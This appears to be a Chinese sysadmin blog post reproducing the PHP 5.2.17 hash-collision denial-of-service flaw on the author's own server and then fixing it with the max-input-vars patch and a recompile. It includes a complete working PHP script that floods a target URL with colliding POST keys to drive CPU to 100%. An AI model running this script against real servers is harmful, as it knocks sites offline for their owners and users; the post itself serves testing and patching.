PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法
我們先看下環(huán)境，這個網(wǎng)站是LAMP架構(gòu)，PHP版本是5.2.17。
PHP未打補丁前，服務(wù)器CPU情況，目前是2.1%的使用率。
我們在這臺web服務(wù)器上編寫一個PHP程序，目的是要測試機去Hash它，以便故障重現(xiàn)。
程序語言如下：
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
執(zhí)行后的效果是取當(dāng)前服務(wù)器的時間。
找臺有PHP環(huán)境的測試機器，這臺機器我用虛擬機，里面有LAMP環(huán)境。進/usr/local/apache/htdocs目錄，寫一PHP網(wǎng)頁，程序語言如下：
[root@blog htdocs]# Vi hash.php
<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>
url地址，為你要作測試的目標機，i<100，表示最多100個并發(fā)。手工執(zhí)行hash.php，進行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php
在web服務(wù)器端，我們?nèi)タ捶?wù)器的資源利用情況，CPU是97.6%，看樣子單臺虛擬機，拿100并發(fā)去Hash，就足夠把web服務(wù)器的CPU利用率升至100%。
Cpu到了100%，網(wǎng)站是什么情況呢。我們再瀏覽該臺web服務(wù)器，點網(wǎng)站上面的鏈接，反應(yīng)正常，估計是這臺web服務(wù)器本身沒有一點壓力，所以看不出來。把并發(fā)量調(diào)到10000，再測下，剛才是100并發(fā)。
刷新checktime.php頁面，可以很快顯示，網(wǎng)站正常。但此時web服務(wù)器cpu已是100%
結(jié)論，我是用個人博客作目標機，因為個人博客，目前只有幾個人訪問，沒有壓力，所以即使，通過10000并發(fā)的Hash，CPU上到100%，個人博客打開的速度，還是相當(dāng)快。
打上補丁，我們再觀察一下。
1、先查下以后在搭建環(huán)境時，PHP的編譯參數(shù)
2、到網(wǎng)上去下載一個PHP補丁，下載地址為：
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
3、根據(jù)個人平臺的版本號，點擊進去，注意，不要在它上面點右鍵，另存為，否則你down下的是一個html文件，文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁面點“raw”,就會打開這個補丁文件。
把里面的內(nèi)容復(fù)制，我這里只截了它一小部分。然后在web服務(wù)器上新建一個文件，php-5.2.17-max-input-vars.patch，里面就是剛復(fù)制的。
4、進php的原始安裝目錄，我這里環(huán)境是/opt/soft/php-5.2.17。先把原來已編譯好的一些，清理一下。
5、打補丁并重新編譯一下php
再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平臺是make，每個環(huán)境不一樣
再make install
6、重啟一下apache，看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start
訪問一下，web服務(wù)器的phpinfo.php，查看PHP環(huán)境有沒有變化。大家可以在最上面看到，PHP版本后帶了個P1。這個還不夠，我們再用Hash碰撞一下，看cpu會不會上100%。
在測試機上，還是取并發(fā)10000，去Hash web服務(wù)器。發(fā)現(xiàn)web服務(wù)器的CPU一直保持在0.5%。
問題解決！
本文出自 “系統(tǒng)網(wǎng)絡(luò)運維” 博客
版權(quán)聲明：本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。
關(guān)注官方微信